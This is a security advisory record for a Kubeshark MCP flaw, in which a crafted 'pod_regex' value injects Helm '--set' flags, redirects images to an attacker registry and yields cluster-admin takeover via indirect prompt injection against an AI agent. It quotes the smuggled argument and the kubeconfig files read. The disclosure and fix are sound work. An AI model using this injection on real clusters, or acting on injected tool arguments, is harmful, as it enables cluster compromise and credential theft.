{"id":"CVE-2026-129236","aliases":["GHSA-8vf2-hxg5-crqh"],"url":"https://o3.security/vulnerability/CVE-2026-129236","summary":"Kubeshark: MCP `start_kubeshark` argument injection via `pod_regex` → image redirect → cluster takeover","details":"**Ecosystem / package:** Go — `github.com/kubeshark/kubeshark` (the `kubeshark`\nCLI, `kubeshark mcp` subcommand)\n**Affected component:** `cmd/mcpRunner.go`, MCP tool `start_kubeshark`\n**Affected versions:** `>= v53.1.0`, `< v53.4.0` (the flaw shipped with the MCP\ncommand's first release; v53.3.0 was the last affected release)\n**Patched version:** `v53.4.0`\n**Credit:** novice-22 (Urim), via private coordinated disclosure.\n\n## Summary\nThe `start_kubeshark` MCP tool builds a `kubeshark tap` command by appending the\ncaller-supplied `pod_regex` as a bare positional argument, with no `--`\nend-of-options separator. Because `tap` is a cobra command, a `pod_regex` that\nbegins with `-`/`--set=` is parsed as a **flag**, not as the pod regex. An\nattacker who can influence the tool arguments (e.g. indirect prompt injection\nagainst an agent driving `kubeshark mcp --allow-destructive`) can inject\narbitrary `--set` Helm value overrides — notably `tap.docker.registry` /\n`tap.docker.tag` — redirecting the deployed worker/hub/front images to an\nattacker-controlled registry. The worker DaemonSet runs privileged with\n`hostNetwork` and the host filesystem mounted, so an attacker image yields node\nand cluster-admin compromise.\n\n## Introduced in\nCommit `0bbbb473` — \"[1] Add MCP (Model Context Protocol) server command\n(#1832)\", 2026-02-06 — first released in **v53.1.0** (`v53.1.0~23`). The\n`pod_regex` argument has been appended as a bare positional since the tool's\nintroduction; there is no regression window, every MCP-capable release is\naffected.\n\n## Details\nIn `callStartKubeshark` (`cmd/mcpRunner.go`), the command was built as\n`[\"tap\", <pod_regex>, \"-n\", …, \"--set\", …, \"--set\", \"headless=true\"]` with\n`pod_regex` inserted as a raw element. cobra parses flags positionally-agnostic\nand there was no `--` guard, so `pod_regex=\"--set=tap.docker.registry=…,tap.docker.tag=…\"`\nbecame a real `--set`. The tool is only registered when\n`kubeshark mcp --allow-destructive` is set.\n\n## Proof of concept (reporter, abridged)\nDriving `kubeshark mcp --allow-destructive`: `start_kubeshark` with\n`pod_regex=\"--set=tap.docker.registry=<attacker>,tap.docker.tag=<tag>\"` caused\nthe CLI to construct `kubeshark tap --set=… --set headless=true`, deploying an\nattacker image. The image ran as root inside the privileged worker container and\nread the host's cluster-admin kubeconfigs\n(`/etc/kubernetes/super-admin.conf`, `admin.conf`, `pki/`) — i.e. cluster-admin\ntakeover from a single `pod_regex` value.\n\n## Impact\nFull Kubernetes cluster compromise (cluster-admin) from a single injected tool\nargument, when the operator runs the MCP server with `--allow-destructive`.\n\n## Severity rationale\nKubeshark scores this **7.2 High**, down from the reporter's 8.3, on two metrics. The\nimpact half of the vector (`S:C/C:H/I:H/A:H`) is unchanged — cluster-admin\ntakeover is real and Kubeshark does not contest it.\n\n- **`AV:N` → `AV:L`.** `kubeshark mcp` is a local stdio MCP server with no\n  network listener. The attacker's payload reaches it as content an agent\n  running on that host ingested and replayed into a local tool call. The\n  poisoned content may have travelled over a network, but the exploited\n  interface is local.\n- **`PR:N` → `PR:H`.** Two administrative preconditions must already hold on the\n  target host: the operator must have started the MCP server with the explicit,\n  non-default `--allow-destructive` flag (without it `start_kubeshark` is not\n  registered at all), and that host must already hold a kubeconfig with\n  permission to deploy the privileged Kubeshark DaemonSet. The attacker is\n  borrowing an existing high-privilege context, not gaining one.\n\nKubeshark kept **`AC:H`** (the injection must land in content the agent ingests, and\nthe attacker must stand up a malicious registry/image), **`UI:R`** (an operator\nmust be actively driving the agent), and **`S:C`** (the compromise crosses from\nthe CLI's authorization scope into the Kubernetes cluster — this is what keeps\nthe score in the High band).\n\n## Patches\nFixed in **v53.4.0** by commit\n[`a76a1920`](https://github.com/kubeshark/kubeshark/commit/a76a1920dc7587be700a17f1592f58a9512ad214)\n(PR [#1957](https://github.com/kubeshark/kubeshark/pull/1957)).\n\nIn `cmd/mcpRunner.go`: `pod_regex` is now appended **last**, after a\nliteral `--` end-of-options separator, so it is always parsed as the\n`[POD REGEX]` positional and can never be interpreted as a flag. (`namespaces` /\n`release_namespace` are passed through `-n` / `-s` value flags, which consume\ntheir value token and are therefore not injectable.)\n\n## Workarounds\n- Do not run `kubeshark mcp` with `--allow-destructive` unless required.\n- Do not expose the MCP server to untrusted content / untrusted agent inputs.\n- Restrict the kubeconfig/permissions available to the machine running the MCP\n  server.","published":"2026-11-16T16:49:20.619Z","modified":"2026-11-17T17:45:55.113523179Z","cvss":{"score":7.2,"severity":"HIGH","vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"github.com/kubeshark/kubeshark","fixedVersion":"0.0.2-0.20260812200004-a76a1920dc75"}],"fix":{"url":"https://github.com/kubeshark/kubeshark/commit/a76a1920dc7587be700a17f1592f58a9512ad214","label":"kubeshark/kubeshark@a76a192"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/129xxx/CVE-2026-129236.json"},{"type":"FIX","url":"https://github.com/kubeshark/kubeshark/commit/a76a1920dc7587be700a17f1592f58a9512ad214"},{"type":"FIX","url":"https://github.com/kubeshark/kubeshark/pull/1957"},{"type":"WEB","url":"https://github.com/kubeshark/kubeshark/releases/tag/v53.4.0"},{"type":"ADVISORY","url":"https://github.com/kubeshark/kubeshark/security/advisories/GHSA-8vf2-hxg5-crqh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-129236"},{"type":"PACKAGE","url":"https://github.com/kubeshark/kubeshark"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-17T17:45:55.113523179Z"}}